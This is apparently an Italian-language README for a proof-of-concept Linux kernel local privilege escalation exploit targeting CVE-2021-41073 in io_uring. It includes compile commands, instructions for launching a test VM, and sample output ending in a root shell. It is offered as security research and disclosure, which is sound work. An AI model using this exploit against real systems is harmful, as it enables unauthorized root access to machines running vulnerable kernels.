
Elevazione dei privilegi locale per CVE-2021-41073, una vulnerabilità di type confusion in io_uring nel kernel Linux, che consente di ottenere i privilegi di root sulle configurazioni predefinite.
Exploit LPE per la vulnerabilità di type confusion CVE-2021-41073 in io_uring.
Consulta il writeup Put an io_uring on it: Exploiting the Linux Kernel.
autore: @chompie1337
Solo per scopi educativi/di ricerca. Non utilizzare per test o valutazioni di sicurezza.
Per compilare (richiede liburing):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
Ho fornito una VM di test con un kernel 5.15-rc1 per testare/eseguire l'exploit.
Per avviare la VM, estrai l'archivio test_vm ed esegui:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
Accedi via ssh alla macchina come utente non privilegiato:
ssh -p 10021 hi@localhost
password: lol
Per eseguire:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
A volte servono 3-4 tentativi per completare l'intera sequenza dell'exploit. Riavvia la VM dopo ogni tentativo di exploit. In futuro si può lavorare per migliorare questo exploit; le tecniche sono descritte nel writeup. Rilascio il PoC con lo scopo esclusivo di condividere conoscenza con altri ricercatori e con chi vuole imparare lo sfruttamento avanzato del kernel.
Questo exploit è una PROVA DI CONCETTO per le tecniche discusse nel post del blog e consente l'escalation locale dei privilegi sul kernel Linux 5.15-rc-1 con configurazioni predefinite. NON è mia intenzione adattare un exploit e armarlo per funzionare con ogni versione di Linux interessata. Ho fornito il codice per dimostrare la maggior parte delle tecniche discusse e ho creato e documentato le tecniche necessarie per bypassare varie mitigazioni che alcune distribuzioni potrebbero abilitare, nel post del blog allegato.
Le configurazioni del kernel utilizzate nella VM di test fornita si trovano nella cartella test_vm, se desideri lavorare con un kernel compilato personalizzato. Se vuoi contribuire, le pull request sono benvenute :)
Questa ricerca è stata sponsorizzata da Grapl.